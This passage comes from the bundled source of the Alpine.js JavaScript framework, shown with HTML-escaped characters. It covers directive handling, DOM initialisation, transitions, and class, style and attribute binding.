        return func2;
      } catch (error2) {
        handleError(error2, el, expression);
        return Promise.resolve();
      }
    };
    let func = safeAsyncFunction();
    evaluatorMemo[expression] = func;
    return func;
  }
  function generateEvaluatorFromString(dataStack, expression, el) {
    let func = generateFunctionFromString(expression, el);
    return (receiver = () =&gt; {
    }, { scope: scope2 = {}, params = [] } = {}) =&gt; {
      func.result = void 0;
      func.finished = false;
      let completeScope = mergeProxies([scope2, ...dataStack]);
      if (typeof func === &quot;function&quot;) {
        let promise = func(func, completeScope).catch((error2) =&gt; handleError(error2, el, expression));
        if (func.finished) {
          runIfTypeOfFunction(receiver, func.result, completeScope, params, el);
          func.result = void 0;
        } else {
          promise.then((result) =&gt; {
            runIfTypeOfFunction(receiver, result, completeScope, params, el);
          }).catch((error2) =&gt; handleError(error2, el, expression)).finally(() =&gt; func.result = void 0);
        }
      }
    };
  }
  function runIfTypeOfFunction(receiver, value, scope2, params, el) {
    if (shouldAutoEvaluateFunctions &amp;&amp; typeof value === &quot;function&quot;) {
      let result = value.apply(scope2, params);
      if (result instanceof Promise) {
        result.then((i) =&gt; runIfTypeOfFunction(receiver, i, scope2, params)).catch((error2) =&gt; handleError(error2, el, value));
      } else {
        receiver(result);
      }
    } else if (typeof value === &quot;object&quot; &amp;&amp; value instanceof Promise) {
      value.then((i) =&gt; receiver(i));
    } else {
      receiver(value);
    }
  }
  var prefixAsString = &quot;x-&quot;;
  function prefix(subject = &quot;&quot;) {
    return prefixAsString + subject;
  }
  function setPrefix(newPrefix) {
    prefixAsString = newPrefix;
  }
  var directiveHandlers = {};
  function directive(name, callback) {
    directiveHandlers[name] = callback;
    return {
      before(directive22) {
        if (!directiveHandlers[directive22]) {
          console.warn(String.raw`Cannot find directive \`${directive22}\`. \`${name}\` will use the default order of execution`);
          return;
        }
        const pos = directiveOrder.indexOf(directive22);
        directiveOrder.splice(pos &gt;= 0 ? pos : directiveOrder.indexOf(&quot;DEFAULT&quot;), 0, name);
      }
    };
  }
  function directiveExists(name) {
    return Object.keys(directiveHandlers).includes(name);
  }
  function directives(el, attributes, originalAttributeOverride) {
    attributes = Array.from(attributes);
    if (el._x_virtualDirectives) {
      let vAttributes = Object.entries(el._x_virtualDirectives).map(([name, value]) =&gt; ({ name, value }));
      let staticAttributes = attributesOnly(vAttributes);
      vAttributes = vAttributes.map((attribute) =&gt; {
        if (staticAttributes.find((attr) =&gt; attr.name === attribute.name)) {
          return {
            name: `x-bind:${attribute.name}`,
            value: `&quot;${attribute.value}&quot;`
          };
        }
        return attribute;
      });
      attributes = attributes.concat(vAttributes);
    }
    let transformedAttributeMap = {};
    let directives2 = attributes.map(toTransformedAttributes((newName, oldName) =&gt; transformedAttributeMap[newName] = oldName)).filter(outNonAlpineAttributes).map(toParsedDirectives(transformedAttributeMap, originalAttributeOverride)).sort(byPriority);
    return directives2.map((directive22) =&gt; {
      return getDirectiveHandler(el, directive22);
    });
  }
  function attributesOnly(attributes) {
    return Array.from(attributes).map(toTransformedAttributes()).filter((attr) =&gt; !outNonAlpineAttributes(attr));
  }
  var isDeferringHandlers = false;
  var directiveHandlerStacks = /* @__PURE__ */ new Map();
  var currentHandlerStackKey = Symbol();
  function deferHandlingDirectives(callback) {
    isDeferringHandlers = true;
    let key = Symbol();
    currentHandlerStackKey = key;
    directiveHandlerStacks.set(key, []);
    let flushHandlers = () =&gt; {
      while (directiveHandlerStacks.get(key).length)
        directiveHandlerStacks.get(key).shift()();
      directiveHandlerStacks.delete(key);
    };
    let stopDeferring = () =&gt; {
      isDeferringHandlers = false;
      flushHandlers();
    };
    callback(flushHandlers);
    stopDeferring();
  }
  function getElementBoundUtilities(el) {
    let cleanups2 = [];
    let cleanup2 = (callback) =&gt; cleanups2.push(callback);
    let [effect3, cleanupEffect] = elementBoundEffect(el);
    cleanups2.push(cleanupEffect);
    let utilities = {
      Alpine: alpine_default,
      effect: effect3,
      cleanup: cleanup2,
      evaluateLater: evaluateLater.bind(evaluateLater, el),
      evaluate: evaluate.bind(evaluate, el)
    };
    let doCleanup = () =&gt; cleanups2.forEach((i) =&gt; i());
    return [utilities, doCleanup];
  }
  function getDirectiveHandler(el, directive22) {
    let noop = () =&gt; {
    };
    let handler4 = directiveHandlers[directive22.type] || noop;
    let [utilities, cleanup2] = getElementBoundUtilities(el);
    onAttributeRemoved(el, directive22.original, cleanup2);
    let fullHandler = () =&gt; {
      if (el._x_ignore || el._x_ignoreSelf)
        return;
      handler4.inline &amp;&amp; handler4.inline(el, directive22, utilities);
      handler4 = handler4.bind(handler4, el, directive22, utilities);
      isDeferringHandlers ? directiveHandlerStacks.get(currentHandlerStackKey).push(handler4) : handler4();
    };
    fullHandler.runCleanups = cleanup2;
    return fullHandler;
  }
  var startingWith = (subject, replacement) =&gt; ({ name, value }) =&gt; {
    if (name.startsWith(subject))
      name = name.replace(subject, replacement);
    return { name, value };
  };
  var into = (i) =&gt; i;
  function toTransformedAttributes(callback = () =&gt; {
  }) {
    return ({ name, value }) =&gt; {
      let { name: newName, value: newValue } = attributeTransformers.reduce((carry, transform) =&gt; {
        return transform(carry);
      }, { name, value });
      if (newName !== name)
        callback(newName, name);
      return { name: newName, value: newValue };
    };
  }
  var attributeTransformers = [];
  function mapAttributes(callback) {
    attributeTransformers.push(callback);
  }
  function outNonAlpineAttributes({ name }) {
    return alpineAttributeRegex().test(name);
  }
  var alpineAttributeRegex = () =&gt; new RegExp(`^${prefixAsString}([^:^.]+)\\b`);
  function toParsedDirectives(transformedAttributeMap, originalAttributeOverride) {
    return ({ name, value }) =&gt; {
      let typeMatch = name.match(alpineAttributeRegex());
      let valueMatch = name.match(/:([a-zA-Z0-9\-_:]+)/);
      let modifiers = name.match(/\.[^.\]]+(?=[^\]]*$)/g) || [];
      let original = originalAttributeOverride || transformedAttributeMap[name] || name;
      return {
        type: typeMatch ? typeMatch[1] : null,
        value: valueMatch ? valueMatch[1] : null,
        modifiers: modifiers.map((i) =&gt; i.replace(&quot;.&quot;, &quot;&quot;)),
        expression: value,
        original
      };
    };
  }
  var DEFAULT = &quot;DEFAULT&quot;;
  var directiveOrder = [
    &quot;ignore&quot;,
    &quot;ref&quot;,
    &quot;data&quot;,
    &quot;id&quot;,
    &quot;anchor&quot;,
    &quot;bind&quot;,
    &quot;init&quot;,
    &quot;for&quot;,
    &quot;model&quot;,
    &quot;modelable&quot;,
    &quot;transition&quot;,
    &quot;show&quot;,
    &quot;if&quot;,
    DEFAULT,
    &quot;teleport&quot;
  ];
  function byPriority(a, b) {
    let typeA = directiveOrder.indexOf(a.type) === -1 ? DEFAULT : a.type;
    let typeB = directiveOrder.indexOf(b.type) === -1 ? DEFAULT : b.type;
    return directiveOrder.indexOf(typeA) - directiveOrder.indexOf(typeB);
  }
  function dispatch2(el, name, detail = {}) {
    el.dispatchEvent(new CustomEvent(name, {
      detail,
      bubbles: true,
      composed: true,
      cancelable: true
    }));
  }
  function walk(el, callback) {
    if (typeof ShadowRoot === &quot;function&quot; &amp;&amp; el instanceof ShadowRoot) {
      Array.from(el.children).forEach((el2) =&gt; walk(el2, callback));
      return;
    }
    let skip = false;
    callback(el, () =&gt; skip = true);
    if (skip)
      return;
    let node = el.firstElementChild;
    while (node) {
      walk(node, callback, false);
      node = node.nextElementSibling;
    }
  }
  function warn(message, ...args) {
    console.warn(`Alpine Warning: ${message}`, ...args);
  }
  var started = false;
  function start() {
    if (started)
      warn(&quot;Alpine has already been initialized on this page. Calling Alpine.start() more than once can cause problems.&quot;);
    started = true;
    if (!document.body)
      warn(&quot;Unable to initialize. Trying to load Alpine before `&lt;body&gt;` is available. Did you forget to add `defer` in Alpine&#039;s `&lt;script&gt;` tag?&quot;);
    dispatch2(document, &quot;alpine:init&quot;);
    dispatch2(document, &quot;alpine:initializing&quot;);
    startObservingMutations();
    onElAdded((el) =&gt; initTree(el, walk));
    onElRemoved((el) =&gt; destroyTree(el));
    onAttributesAdded((el, attrs) =&gt; {
      directives(el, attrs).forEach((handle) =&gt; handle());
    });
    let outNestedComponents = (el) =&gt; !closestRoot(el.parentElement, true);
    Array.from(document.querySelectorAll(allSelectors().join(&quot;,&quot;))).filter(outNestedComponents).forEach((el) =&gt; {
      initTree(el);
    });
    dispatch2(document, &quot;alpine:initialized&quot;);
    setTimeout(() =&gt; {
      warnAboutMissingPlugins();
    });
  }
  var rootSelectorCallbacks = [];
  var initSelectorCallbacks = [];
  function rootSelectors() {
    return rootSelectorCallbacks.map((fn) =&gt; fn());
  }
  function allSelectors() {
    return rootSelectorCallbacks.concat(initSelectorCallbacks).map((fn) =&gt; fn());
  }
  function addRootSelector(selectorCallback) {
    rootSelectorCallbacks.push(selectorCallback);
  }
  function addInitSelector(selectorCallback) {
    initSelectorCallbacks.push(selectorCallback);
  }
  function closestRoot(el, includeInitSelectors = false) {
    return findClosest(el, (element) =&gt; {
      const selectors = includeInitSelectors ? allSelectors() : rootSelectors();
      if (selectors.some((selector) =&gt; element.matches(selector)))
        return true;
    });
  }
  function findClosest(el, callback) {
    if (!el)
      return;
    if (callback(el))
      return el;
    if (el._x_teleportBack)
      el = el._x_teleportBack;
    if (!el.parentElement)
      return;
    return findClosest(el.parentElement, callback);
  }
  function isRoot(el) {
    return rootSelectors().some((selector) =&gt; el.matches(selector));
  }
  var initInterceptors2 = [];
  function interceptInit(callback) {
    initInterceptors2.push(callback);
  }
  var markerDispenser = 1;
  function initTree(el, walker = walk, intercept = () =&gt; {
  }) {
    if (findClosest(el, (i) =&gt; i._x_ignore))
      return;
    deferHandlingDirectives(() =&gt; {
      walker(el, (el2, skip) =&gt; {
        if (el2._x_marker)
          return;
        el2._x_marker = markerDispenser++;
        intercept(el2, skip);
        initInterceptors2.forEach((i) =&gt; i(el2, skip));
        directives(el2, el2.attributes).forEach((handle) =&gt; handle());
        el2._x_ignore &amp;&amp; skip();
      });
    });
  }
  function destroyTree(root, walker = walk) {
    walker(root, (el) =&gt; {
      cleanupElement(el);
      cleanupAttributes(el);
      delete el._x_marker;
    });
  }
  function warnAboutMissingPlugins() {
    let pluginDirectives = [
      [&quot;ui&quot;, &quot;dialog&quot;, [&quot;[x-dialog], [x-popover]&quot;]],
      [&quot;anchor&quot;, &quot;anchor&quot;, [&quot;[x-anchor]&quot;]],
      [&quot;sort&quot;, &quot;sort&quot;, [&quot;[x-sort]&quot;]]
    ];
    pluginDirectives.forEach(([plugin2, directive22, selectors]) =&gt; {
      if (directiveExists(directive22))
        return;
      selectors.some((selector) =&gt; {
        if (document.querySelector(selector)) {
          warn(`found &quot;${selector}&quot;, but missing ${plugin2} plugin`);
          return true;
        }
      });
    });
  }
  var tickStack = [];
  var isHolding = false;
  function nextTick(callback = () =&gt; {
  }) {
    queueMicrotask(() =&gt; {
      isHolding || setTimeout(() =&gt; {
        releaseNextTicks();
      });
    });
    return new Promise((res) =&gt; {
      tickStack.push(() =&gt; {
        callback();
        res();
      });
    });
  }
  function releaseNextTicks() {
    isHolding = false;
    while (tickStack.length)
      tickStack.shift()();
  }
  function holdNextTicks() {
    isHolding = true;
  }
  function setClasses(el, value) {
    if (Array.isArray(value)) {
      return setClassesFromString(el, value.join(&quot; &quot;));
    } else if (typeof value === &quot;object&quot; &amp;&amp; value !== null) {
      return setClassesFromObject(el, value);
    } else if (typeof value === &quot;function&quot;) {
      return setClasses(el, value());
    }
    return setClassesFromString(el, value);
  }
  function setClassesFromString(el, classString) {
    let split = (classString2) =&gt; classString2.split(&quot; &quot;).filter(Boolean);
    let missingClasses = (classString2) =&gt; classString2.split(&quot; &quot;).filter((i) =&gt; !el.classList.contains(i)).filter(Boolean);
    let addClassesAndReturnUndo = (classes) =&gt; {
      el.classList.add(...classes);
      return () =&gt; {
        el.classList.remove(...classes);
      };
    };
    classString = classString === true ? classString = &quot;&quot; : classString || &quot;&quot;;
    return addClassesAndReturnUndo(missingClasses(classString));
  }
  function setClassesFromObject(el, classObject) {
    let split = (classString) =&gt; classString.split(&quot; &quot;).filter(Boolean);
    let forAdd = Object.entries(classObject).flatMap(([classString, bool]) =&gt; bool ? split(classString) : false).filter(Boolean);
    let forRemove = Object.entries(classObject).flatMap(([classString, bool]) =&gt; !bool ? split(classString) : false).filter(Boolean);
    let added = [];
    let removed = [];
    forRemove.forEach((i) =&gt; {
      if (el.classList.contains(i)) {
        el.classList.remove(i);
        removed.push(i);
      }
    });
    forAdd.forEach((i) =&gt; {
      if (!el.classList.contains(i)) {
        el.classList.add(i);
        added.push(i);
      }
    });
    return () =&gt; {
      removed.forEach((i) =&gt; el.classList.add(i));
      added.forEach((i) =&gt; el.classList.remove(i));
    };
  }
  function setStyles(el, value) {
    if (typeof value === &quot;object&quot; &amp;&amp; value !== null) {
      return setStylesFromObject(el, value);
    }
    return setStylesFromString(el, value);
  }
  function setStylesFromObject(el, value) {
    let previousStyles = {};
    Object.entries(value).forEach(([key, value2]) =&gt; {
      previousStyles[key] = el.style[key];
      if (!key.startsWith(&quot;--&quot;)) {
        key = kebabCase(key);
      }
      el.style.setProperty(key, value2);
    });
    setTimeout(() =&gt; {
      if (el.style.length === 0) {
        el.removeAttribute(&quot;style&quot;);
      }
    });
    return () =&gt; {
      setStyles(el, previousStyles);
    };
  }
  function setStylesFromString(el, value) {
    let cache = el.getAttribute(&quot;style&quot;, value);
    el.setAttribute(&quot;style&quot;, value);
    return () =&gt; {
      el.setAttribute(&quot;style&quot;, cache || &quot;&quot;);
    };
  }
  function kebabCase(subject) {
    return subject.replace(/([a-z])([A-Z])/g, &quot;$1-$2&quot;).toLowerCase();
  }
  function once(callback, fallback2 = () =&gt; {
  }) {
    let called = false;
    return function() {
      if (!called) {
        called = true;
        callback.apply(this, arguments);
      } else {
        fallback2.apply(this, arguments);
      }
    };
  }
  directive(&quot;transition&quot;, (el, { value, modifiers, expression }, { evaluate: evaluate22 }) =&gt; {
    if (typeof expression === &quot;function&quot;)
      expression = evaluate22(expression);
    if (expression === false)
      return;
    if (!expression || typeof expression === &quot;boolean&quot;) {
      registerTransitionsFromHelper(el, modifiers, value);
    } else {
      registerTransitionsFromClassString(el, expression, value);
    }
  });
  function registerTransitionsFromClassString(el, classString, stage) {
    registerTransitionObject(el, setClasses, &quot;&quot;);
    let directiveStorageMap = {
      &quot;enter&quot;: (classes) =&gt; {
        el._x_transition.enter.during = classes;
      },
      &quot;enter-start&quot;: (classes) =&gt; {
        el._x_transition.enter.start = classes;
      },
      &quot;enter-end&quot;: (classes) =&gt; {
        el._x_transition.enter.end = classes;
      },
      &quot;leave&quot;: (classes) =&gt; {
        el._x_transition.leave.during = classes;
      },
      &quot;leave-start&quot;: (classes) =&gt; {
        el._x_transition.leave.start = classes;
      },
      &quot;leave-end&quot;: (classes) =&gt; {
        el._x_transition.leave.end = classes;
      }
    };
    directiveStorageMap[stage](classString);
  }
  function registerTransitionsFromHelper(el, modifiers, stage) {
    registerTransitionObject(el, setStyles);
    let doesntSpecify = !modifiers.includes(&quot;in&quot;) &amp;&amp; !modifiers.includes(&quot;out&quot;) &amp;&amp; !stage;
    let transitioningIn = doesntSpecify || modifiers.includes(&quot;in&quot;) || [&quot;enter&quot;].includes(stage);
    let transitioningOut = doesntSpecify || modifiers.includes(&quot;out&quot;) || [&quot;leave&quot;].includes(stage);
    if (modifiers.includes(&quot;in&quot;) &amp;&amp; !doesntSpecify) {
      modifiers = modifiers.filter((i, index) =&gt; index &lt; modifiers.indexOf(&quot;out&quot;));
    }
    if (modifiers.includes(&quot;out&quot;) &amp;&amp; !doesntSpecify) {
      modifiers = modifiers.filter((i, index) =&gt; index &gt; modifiers.indexOf(&quot;out&quot;));
    }
    let wantsAll = !modifiers.includes(&quot;opacity&quot;) &amp;&amp; !modifiers.includes(&quot;scale&quot;);
    let wantsOpacity = wantsAll || modifiers.includes(&quot;opacity&quot;);
    let wantsScale = wantsAll || modifiers.includes(&quot;scale&quot;);
    let opacityValue = wantsOpacity ? 0 : 1;
    let scaleValue = wantsScale ? modifierValue(modifiers, &quot;scale&quot;, 95) / 100 : 1;
    let delay3 = modifierValue(modifiers, &quot;delay&quot;, 0) / 1e3;
    let origin = modifierValue(modifiers, &quot;origin&quot;, &quot;center&quot;);
    let property = &quot;opacity, transform&quot;;
    let durationIn = modifierValue(modifiers, &quot;duration&quot;, 150) / 1e3;
    let durationOut = modifierValue(modifiers, &quot;duration&quot;, 75) / 1e3;
    let easing = `cubic-bezier(0.4, 0.0, 0.2, 1)`;
    if (transitioningIn) {
      el._x_transition.enter.during = {
        transformOrigin: origin,
        transitionDelay: `${delay3}s`,
        transitionProperty: property,
        transitionDuration: `${durationIn}s`,
        transitionTimingFunction: easing
      };
      el._x_transition.enter.start = {
        opacity: opacityValue,
        transform: `scale(${scaleValue})`
      };
      el._x_transition.enter.end = {
        opacity: 1,
        transform: `scale(1)`
      };
    }
    if (transitioningOut) {
      el._x_transition.leave.during = {
        transformOrigin: origin,
        transitionDelay: `${delay3}s`,
        transitionProperty: property,
        transitionDuration: `${durationOut}s`,
        transitionTimingFunction: easing
      };
      el._x_transition.leave.start = {
        opacity: 1,
        transform: `scale(1)`
      };
      el._x_transition.leave.end = {
        opacity: opacityValue,
        transform: `scale(${scaleValue})`
      };
    }
  }
  function registerTransitionObject(el, setFunction, defaultValue = {}) {
    if (!el._x_transition)
      el._x_transition = {
        enter: { during: defaultValue, start: defaultValue, end: defaultValue },
        leave: { during: defaultValue, start: defaultValue, end: defaultValue },
        in(before = () =&gt; {
        }, after = () =&gt; {
        }) {
          transition(el, setFunction, {
            during: this.enter.during,
            start: this.enter.start,
            end: this.enter.end
          }, before, after);
        },
        out(before = () =&gt; {
        }, after = () =&gt; {
        }) {
          transition(el, setFunction, {
            during: this.leave.during,
            start: this.leave.start,
            end: this.leave.end
          }, before, after);
        }
      };
  }
  window.Element.prototype._x_toggleAndCascadeWithTransitions = function(el, value, show, hide) {
    const nextTick2 = document.visibilityState === &quot;visible&quot; ? requestAnimationFrame : setTimeout;
    let clickAwayCompatibleShow = () =&gt; nextTick2(show);
    if (value) {
      if (el._x_transition &amp;&amp; (el._x_transition.enter || el._x_transition.leave)) {
        el._x_transition.enter &amp;&amp; (Object.entries(el._x_transition.enter.during).length || Object.entries(el._x_transition.enter.start).length || Object.entries(el._x_transition.enter.end).length) ? el._x_transition.in(show) : clickAwayCompatibleShow();
      } else {
        el._x_transition ? el._x_transition.in(show) : clickAwayCompatibleShow();
      }
      return;
    }
    el._x_hidePromise = el._x_transition ? new Promise((resolve, reject) =&gt; {
      el._x_transition.out(() =&gt; {
      }, () =&gt; resolve(hide));
      el._x_transitioning &amp;&amp; el._x_transitioning.beforeCancel(() =&gt; reject({ isFromCancelledTransition: true }));
    }) : Promise.resolve(hide);
    queueMicrotask(() =&gt; {
      let closest = closestHide(el);
      if (closest) {
        if (!closest._x_hideChildren)
          closest._x_hideChildren = [];
        closest._x_hideChildren.push(el);
      } else {
        nextTick2(() =&gt; {
          let hideAfterChildren = (el2) =&gt; {
            let carry = Promise.all([
              el2._x_hidePromise,
              ...(el2._x_hideChildren || []).map(hideAfterChildren)
            ]).then(([i]) =&gt; i?.());
            delete el2._x_hidePromise;
            delete el2._x_hideChildren;
            return carry;
          };
          hideAfterChildren(el).catch((e) =&gt; {
            if (!e.isFromCancelledTransition)
              throw e;
          });
        });
      }
    });
  };
  function closestHide(el) {
    let parent = el.parentNode;
    if (!parent)
      return;
    return parent._x_hidePromise ? parent : closestHide(parent);
  }
  function transition(el, setFunction, { during, start: start22, end } = {}, before = () =&gt; {
  }, after = () =&gt; {
  }) {
    if (el._x_transitioning)
      el._x_transitioning.cancel();
    if (Object.keys(during).length === 0 &amp;&amp; Object.keys(start22).length === 0 &amp;&amp; Object.keys(end).length === 0) {
      before();
      after();
      return;
    }
    let undoStart, undoDuring, undoEnd;
    performTransition(el, {
      start() {
        undoStart = setFunction(el, start22);
      },
      during() {
        undoDuring = setFunction(el, during);
      },
      before,
      end() {
        undoStart();
        undoEnd = setFunction(el, end);
      },
      after,
      cleanup() {
        undoDuring();
        undoEnd();
      }
    });
  }
  function performTransition(el, stages) {
    let interrupted, reachedBefore, reachedEnd;
    let finish = once(() =&gt; {
      mutateDom(() =&gt; {
        interrupted = true;
        if (!reachedBefore)
          stages.before();
        if (!reachedEnd) {
          stages.end();
          releaseNextTicks();
        }
        stages.after();
        if (el.isConnected)
          stages.cleanup();
        delete el._x_transitioning;
      });
    });
    el._x_transitioning = {
      beforeCancels: [],
      beforeCancel(callback) {
        this.beforeCancels.push(callback);
      },
      cancel: once(function() {
        while (this.beforeCancels.length) {
          this.beforeCancels.shift()();
        }
        ;
        finish();
      }),
      finish
    };
    mutateDom(() =&gt; {
      stages.start();
      stages.during();
    });
    holdNextTicks();
    requestAnimationFrame(() =&gt; {
      if (interrupted)
        return;
      let duration = Number(getComputedStyle(el).transitionDuration.replace(/,.*/, &quot;&quot;).replace(&quot;s&quot;, &quot;&quot;)) * 1e3;
      let delay3 = Number(getComputedStyle(el).transitionDelay.replace(/,.*/, &quot;&quot;).replace(&quot;s&quot;, &quot;&quot;)) * 1e3;
      if (duration === 0)
        duration = Number(getComputedStyle(el).animationDuration.replace(&quot;s&quot;, &quot;&quot;)) * 1e3;
      mutateDom(() =&gt; {
        stages.before();
      });
      reachedBefore = true;
      requestAnimationFrame(() =&gt; {
        if (interrupted)
          return;
        mutateDom(() =&gt; {
          stages.end();
        });
        releaseNextTicks();
        setTimeout(el._x_transitioning.finish, duration + delay3);
        reachedEnd = true;
      });
    });
  }
  function modifierValue(modifiers, key, fallback2) {
    if (modifiers.indexOf(key) === -1)
      return fallback2;
    const rawValue = modifiers[modifiers.indexOf(key) + 1];
    if (!rawValue)
      return fallback2;
    if (key === &quot;scale&quot;) {
      if (isNaN(rawValue))
        return fallback2;
    }
    if (key === &quot;duration&quot; || key === &quot;delay&quot;) {
      let match = rawValue.match(/([0-9]+)ms/);
      if (match)
        return match[1];
    }
    if (key === &quot;origin&quot;) {
      if ([&quot;top&quot;, &quot;right&quot;, &quot;left&quot;, &quot;center&quot;, &quot;bottom&quot;].includes(modifiers[modifiers.indexOf(key) + 2])) {
        return [rawValue, modifiers[modifiers.indexOf(key) + 2]].join(&quot; &quot;);
      }
    }
    return rawValue;
  }
  var isCloning = false;
  function skipDuringClone(callback, fallback2 = () =&gt; {
  }) {
    return (...args) =&gt; isCloning ? fallback2(...args) : callback(...args);
  }
  function onlyDuringClone(callback) {
    return (...args) =&gt; isCloning &amp;&amp; callback(...args);
  }
  var interceptors = [];
  function interceptClone(callback) {
    interceptors.push(callback);
  }
  function cloneNode(from, to) {
    interceptors.forEach((i) =&gt; i(from, to));
    isCloning = true;
    dontRegisterReactiveSideEffects(() =&gt; {
      initTree(to, (el, callback) =&gt; {
        callback(el, () =&gt; {
        });
      });
    });
    isCloning = false;
  }
  var isCloningLegacy = false;
  function clone(oldEl, newEl) {
    if (!newEl._x_dataStack)
      newEl._x_dataStack = oldEl._x_dataStack;
    isCloning = true;
    isCloningLegacy = true;
    dontRegisterReactiveSideEffects(() =&gt; {
      cloneTree(newEl);
    });
    isCloning = false;
    isCloningLegacy = false;
  }
  function cloneTree(el) {
    let hasRunThroughFirstEl = false;
    let shallowWalker = (el2, callback) =&gt; {
      walk(el2, (el3, skip) =&gt; {
        if (hasRunThroughFirstEl &amp;&amp; isRoot(el3))
          return skip();
        hasRunThroughFirstEl = true;
        callback(el3, skip);
      });
    };
    initTree(el, shallowWalker);
  }
  function dontRegisterReactiveSideEffects(callback) {
    let cache = effect;
    overrideEffect((callback2, el) =&gt; {
      let storedEffect = cache(callback2);
      release(storedEffect);
      return () =&gt; {
      };
    });
    callback();
    overrideEffect(cache);
  }
  function bind(el, name, value, modifiers = []) {
    if (!el._x_bindings)
      el._x_bindings = reactive({});
    el._x_bindings[name] = value;
    name = modifiers.includes(&quot;camel&quot;) ? camelCase(name) : name;
    switch (name) {
      case &quot;value&quot;:
        bindInputValue(el, value);
        break;
      case &quot;style&quot;:
        bindStyles(el, value);
        break;
      case &quot;class&quot;:
        bindClasses(el, value);
        break;
      case &quot;selected&quot;:
      case &quot;checked&quot;:
        bindAttributeAndProperty(el, name, value);
        break;
      default:
        bindAttribute(el, name, value);
        break;
    }
  }
  function bindInputValue(el, value) {
    if (isRadio(el)) {
      if (el.attributes.value === void 0) {
        el.value = value;
      }
      if (window.fromModel) {
        if (typeof value === &quot;boolean&quot;) {
          el.checked = safeParseBoolean(el.value) === value;
        } else {
          el.checked = checkedAttrLooseCompare(el.value, value);
        }
      }
    } else if (isCheckbox(el)) {
      if (Number.isInteger(value)) {
        el.value = value;
      } else if (!Array.isArray(value) &amp;&amp; typeof value !== &quot;boolean&quot; &amp;&amp; ![null, void 0].includes(value)) {
        el.value = String(value);
      } else {
        if (Array.isArray(value)) {
          el.checked = value.some((val) =&gt; checkedAttrLooseCompare(val, el.value));
        } else {
          el.checked = !!value;
        }
      }
    } else if (el.tagName === &quot;SELECT&quot;) {
      updateSelect(el, value);
    } else {
      if (el.value === value)
        return;
      el.value = value === void 0 ? &quot;&quot; : value;
    }
  }
  function bindClasses(el, value) {
    if (el._x_undoAddedClasses)
      el._x_undoAddedClasses();
    el._x_undoAddedClasses = setClasses(el, value);
  }
  function bindStyles(el, value) {
    if (el._x_undoAddedStyles)
      el._x_undoAddedStyles();
    el._x_undoAddedStyles = setStyles(el, value);
  }
  function bindAttributeAndProperty(el, name, value) {
    bindAttribute(el, name, value);
    setPropertyIfChanged(el, name, value);
  }
  function bindAttribute(el, name, value) {
    if ([null, void 0, false].includes(value) &amp;&amp; attributeShouldntBePreservedIfFalsy(name)) {
      el.removeAttribute(name);
    } else {
      if (isBooleanAttr(name))
        value = name;
      setIfChanged(el, name, value);
    }
  }
  function setIfChanged(el, attrName, value) {
    if (el.getAttribute(attrName) != value) {
      el.setAttribute(attrName, value);
    }
  }
  function setPropertyIfChanged(el, propName, value) {
    if (el[propName] !== value) {
      el[propName] = value;
    }
  }
  function updateSelect(el, value) {
    const arrayWrappedValue = [].concat(value).map((value2) =&gt; {
      return value2 + &quot;&quot;;
    });
    Array.from(el.options).forEach((option) =&gt; {
      option.selected = arrayWrappedValue.includes(option.value);
    });
  }
  function camelCase(subject) {
    return subject.toLowerCase().replace(/-(\w)/g, (match, char) =&gt; char.toUpperCase());
  }
  function checkedAttrLooseCompare(valueA, valueB) {
    return valueA == valueB;
  }
  function safeParseBoolean(rawValue) {
    if ([1, &quot;1&quot;, &quot;true&quot;, &quot;on&quot;, &quot;yes&quot;, true].includes(rawValue)) {
      return true;
    }
    if ([0, &quot;0&quot;, &quot;false&quot;, &quot;off&quot;, &quot;no&quot;, false].includes(rawValue)) {
      return false;
    }
    return rawValue ? Boolean(rawValue) : null;
  }
  var booleanAttributes = /* @__PURE__ */ new Set([
    &quot;allowfullscreen&quot;,
    &quot;async&quot;,
    &quot;autofocus&quot;,
    &quot;autoplay&quot;,
    &quot;checked&quot;,
    &quot;controls&quot;,
    &quot;default&quot;,
    &quot;defer&quot;,
    &quot;disabled&quot;,
    &quot;formnovalidate&quot;,
    &quot;inert&quot;,
    &quot;ismap&quot;,
    &quot;itemscope&quot;,
    &quot;loop&quot;,
    &quot;multiple&quot;,
    &quot;muted&quot;,
    &quot;nomodule&quot;,
    &quot;novalidate&quot;,
    &quot;open&quot;,
    &quot;playsinline&quot;,
    &quot;readonly&quot;,
    &quot;required&quot;,
    &quot;reversed&quot;,
    &quot;selected&quot;,
    &quot;shadowrootclonable&quot;,
    &quot;shadowrootdelegatesfocus&quot;,
    &quot;shadowrootserializable&quot;
  ]);
  function isBooleanAttr(attrName) {
    return booleanAttributes.has(attrName);
  }
  function attributeShouldntBePreservedIfFalsy(name) {
    return ![&quot;aria-pressed&quot;, &quot;aria-checked&quot;, &quot;aria-expanded&quot;, &quot;aria-selected&quot;].includes(name);
  }
  function getBinding(el, name, fallback2) {
    if (el._x_bindings &amp;&amp; el._x_bindings[name] !== void 0)
      return el._x_bindings[name];
    return getAttributeBinding(el, name, fallback2);
  }
  function extractProp(el, name, fallback2, extract = true) {
    if (el._x_bindings &amp;&amp; el._x_bindings[name] !== void 0)
      return el._x_bindings[name];
    if (el._x_inlineBindings &amp;&amp; el._x_inlineBindings[name] !== void 0) {
      let binding = el._x_inlineBindings[name];
      binding.extract = extract;
      return dontAutoEvaluateFunctions(() =&gt; {
        return evaluate(el, binding.expression);
      });
    }
    return getAttributeBinding(el, name, fallback2);
  }
  function getAttributeBinding(el, name, fallback2) {
    let attr = el.getAttribute(name);
    if (attr === null)
      return typeof fallback2 === &quot;function&quot; ? fallback2() : fallback2;
    if (attr === &quot;&quot;)
      return true;
    if (isBooleanAttr(name)) {
      return !![name, &quot;true&quot;].includes(attr);
    }
    return attr;
  }
  function isCheckbox(el) {
    return el.type === &quot;checkbox&quot; || el.localName === &quot;ui-checkbox&quot; || el.localName === &quot;ui-switch&quot;;
  }
  function isRadio(el) {
    return el.type === &quot;radio&quot; || el.localName === &quot;ui-radio&quot;;
  }
  function debounce(func, wait) {
    var timeout;
    return function() {
      var context = this, args = arguments;
      var later = function() {
        timeout = null;
        func.apply(context, args);
      };
      clearTimeout(timeout);
      timeout = setTimeout(later, wait);
    };
  }
  function throttle(func, limit) {
    let inThrottle;
    return function() {
      let context = this, args = arguments;
      if (!inThrottle) {
        func.apply(context, args);
        inThrottle = true;
        setTimeout(() =&gt; inThrottle = false, limit);
      }
    };
  }
  function entangle({ get: outerGet, set: outerSet }, { get: innerGet, set: innerSet }) {
    let firstRun = true;
    let outerHash;
    let innerHash;
    let reference = effect(() =&gt; {
      let outer = outerGet();
      let inner = innerGet();
      if (firstRun) {
        innerSet(cloneIfObject(outer));
        firstRun = false;
      } else {
